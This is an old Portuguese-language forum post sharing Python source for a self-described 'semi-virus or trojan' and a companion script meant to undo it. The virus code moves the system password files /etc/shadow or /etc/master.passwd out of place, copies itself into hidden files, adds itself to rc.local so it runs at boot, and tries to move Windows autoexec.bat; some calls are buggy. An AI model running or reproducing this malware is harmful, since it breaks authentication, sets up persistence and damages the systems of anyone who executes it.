Virus, trojan, sei la o que é isso
Publicado por Ricardo Henrique 22/08/2004
[ Hits: 26.849 ]
Estava fazendo um projeto de um semi-virus ou seria um trojan..., sei lá o q é isso, mas faz um estrago. LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
ACEITO AJUDAS..............
Se voce executou o virus use o anti-virus para tentar recuperar as coisas
REPETINDO...
LEIA O CODIGO FONTE ANTES DE EXECUTAR...... RESPONSABILIDADE É SUA
#ESSE É O CODIGO DO VIRUS
#------------------------------------
#!/usr/bin/env python
import os
#####################################
#Virus and python #
#version 0.5 #
# #
#Colaborações sao bem vindas #
# #
#DICA: Antes de executar o programa #
#copie os arquivos /etc/shadow e o #
#arquivo do windows autoexec.bat #
# #
#NAO ME RESPONSABILIZO PELOS #
#DANOS CAUSADOS, ISSO É PROBLEMA SEU#
# #
#REGISTRADO PELA A LICENCA GPL #
#####################################
def linux():
try:
os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt
lis = os.listdir('/etc/') #Lista o que tem no /etc/
aa = "%s" %(lis)
arq.write(aa) # Grava no arquivo
arq.close()
os.system('cp virus.py .arq.py') # Copia o virus
os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM
os.system('cp .arq.py /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local')
rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao
rc1 = "python /etc/rc.d/.conf.py\n"
aaa = "%s" %(rc1)
rc.write(aaa)
rc.close()
os.system('chmod -x .arq.py') # muda as permisoes
os.system('chown root.root .arq.py') # muda o usuario
procura()
def win_c():
try:
os.system('mv /mnt/win_c/autoexec.bat .autoexec.bat') # Num preciso nem falar
#os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def c():
try:
os.sytem('mv /mnt/c/autoexec.bat .autoexec.bat') # num vo fala nada ^^^
#os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat
except:
win_c() # caso nao tenha ele vai para a funcao win_c()
def procura():
try:
os.remove('mv /mnt/windows/autoexec.bat ./.autoexec.bat')# o q será isso?????^^^^?????
#os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat
except:
c() # se nao tiver ele passa para a funcao c()
def dig():
linux() # Colocar alguma coisa
dig()
#----------------------------------------------
# AGORA o DO ANTI-VIRUS
#---------------------------------------------
#!/usr/bin/python
################################
#Quem Cria também distroi #
#Anti-virus para a merda que eu#
#fiz....infeslimente..o feitiço#
#virou contra o feiticeiro.....#
#tomara que funcione #
###############################
import os
def linux():
try:
os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/shadow') # Remove o arquivo etc shadow
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt
os.system('rm -rf .arq.py') # Remove o virus
os.system('rm -rf ../.conf.py'); # remove o virus
os.system('rm -rf /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local')
procura()
def win_c():
try:
os.system('cp .autoexec.bat /mnt/win_c/autoexec.bat') # Num preciso nem falar
#os.remove('/mnt/win_c/autoexec.bat') # se vc tem windows no /mnt/win_c ele exclui o autoexec.bat
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def c():
try:
os.sytem('cp .autoexec.bat /mnt/c/autoexec.bat') # num vo fala nada ^^^
#os.remove('/mnt/c/autoexec.bat') # se vc tem windows no /mnt/c ele exclui o autoexec.bat
except:
win_c() # caso nao tenha ele vai para a funcao win_c()
def procura():
try:
os.remove('cp .autoexec.bat /mnt/windows/autoexec.bat')# o q será isso?????^^^^?????
#os.remove('/mnt/windows/autoexec.bat') # caso vc tenha windows no /mnt/windows ele exclui o autoexec.bat
except:
c() # se nao tiver ele passa para a funcao c()
def dig():
linux() # Colocar alguma coisa
dig()
Inteligência artificial com Python e Shell Script
Painel com botões desligar, reiniciar, logoff e bloquear tela
Botnet em Python sem segredos!
Script em Python com várias funções matemáticas [iniciante]
Papagaiando o XFCE com temas e recursos
WhatsApp com Chamadas no Linux via Waydroid
XFCE - quase um Gnome ou Plasma mas muito mais leve
LXQT - funcional para máquinas pererecas e usuários menos exigentes
Manutenção básica para Gentoo Linux (com script)
Conheça o Zashterminal, um terminal moderno com IA
DOOM Carniceiro: rode o Meatgrinder com uzdoom (Gentoo e Ubuntu)
Samba 4 AD-DC 2026: Como instalar e configurar um Active Directory (via APT-GET)
[Resolvido] Sumiço de redes e micro quedas no iwd/iwgtk (Realtek rtw88)
eu queria saber no lenovo slim, se tem como ver os mhz de memoria e tu... (3)









